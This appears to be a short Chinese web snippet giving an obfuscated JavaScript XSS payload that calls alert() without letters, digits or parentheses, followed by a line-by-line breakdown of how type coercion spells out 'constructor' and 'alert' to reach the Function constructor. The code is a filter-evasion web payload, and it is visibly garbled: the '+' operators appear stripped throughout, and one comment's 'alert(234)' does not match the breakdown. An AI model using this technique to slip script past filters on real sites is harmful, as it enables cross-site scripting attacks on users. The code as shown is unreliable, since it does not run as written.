alert() 不含字母、数字和括号的有效载荷
代码语言:javascript复制<script>
/*
〱='',〳=〱,ᘓ=〱 {},ᘒ=〱 [][[]],〱 =[〱==〱],〳 =[!〱],ᘑ= [],ᘐ= ! [],ᘔ=ᘐ ᘐ,ᘕ=ᘔ ᘐ,ᘖ=ᘔ ᘕ,ᘖ =ᘖ ᘖ ᘔ,ᘗ=ᘖ ᘐ,ᘘ=ᘓ[ᘔ ᘕ],ᘙ=ᘓ[ᘐ],ᘚ=〱[ᘐ],ᘲ=〱[ᘑ],ᘳ=ᘘ ᘙ ᘒ[ᘐ] 〳[ᘕ] ᘲ ᘚ ᘒ[ᘑ] ᘘ ᘲ ᘙ 〱[ᘐ],ᘰ=[][ᘳ][ᘳ],ᘏ='' ᘰ,ᘎ=〳[ᘐ] 〳[ᘔ] 〱[ᘕ] ᘚ ᘲ ᘏ[ᘖ] ᘏ[ᘗ],ᘰ`ᘳ${ᘎ}```
*/
〱=''
〳=〱 //''
ᘓ=〱 {} //'[object Object]' <- '' [object Object]
ᘒ=〱 [][[]] //'undefined' <- '' undefined
〱 =[〱==〱] //'true' <- Array from true
〳 =[!〱] //'false' <- Array from !true
ᘑ= [] //0
ᘐ= ! [] //1
ᘔ=ᘐ ᘐ //2 <- 1 1
ᘕ=ᘔ ᘐ //3 <- 2 1
ᘖ=ᘔ ᘕ //5 <- 2 2 1
ᘖ =ᘖ ᘖ ᘔ //17 <- 5 5 5 2
ᘗ=ᘖ ᘐ //18 <- 17 1
//letters that are used more than once defined seperately to shorten payload
ᘘ=ᘓ[ᘔ ᘕ] //c <- '[object Object]'[5]
ᘙ=ᘓ[ᘐ] //o <- '[object Object]'[1]
ᘚ=〱[ᘐ] //r <- 'true'[1]
ᘲ=〱[ᘑ] //t <- 'true'[0]
ᘳ= //constructor
ᘘ //c <- '[object Object]'[5]
ᘙ //o <- '[object Object]'[1]
ᘒ[ᘐ] //n <- 'undefined'[1]
〳[ᘕ] //s <- 'false'[3]
ᘲ //t <- 'true'[0]
ᘚ //r <- 'true'[1]
ᘒ[ᘑ] //u <- 'undefined'[0]
ᘘ //c <- '[object Object]'[5]
ᘲ //t <- 'true'[0]
ᘙ //o <- '[object Object]'[1]
〱[ᘐ] //r <- 'true'[1]
ᘰ = [][ᘳ][ᘳ] //Function <- []["constructor"]["constructor"]
ᘏ='' ᘰ //'function Function() { [native code] }'
ᘎ= //alert
〳[ᘐ] //a <- 'false'[1]
〳[ᘔ] //l <- 'false'[2]
〱[ᘕ] //e <- 'true[4]
ᘚ //r <- 'true'[1]
ᘲ //t <- 'true'[0]
ᘏ[ᘖ] //( <- 'function Function() { [native code] }'[17]
ᘏ[ᘗ] //) <- 'function Function() { [native code] }'[18]
ᘰ`ᘳ${ᘎ}` `` //alert() <- []["constructor"]["constructor"]`ᘳ${"alert(234)"}` ``
</script>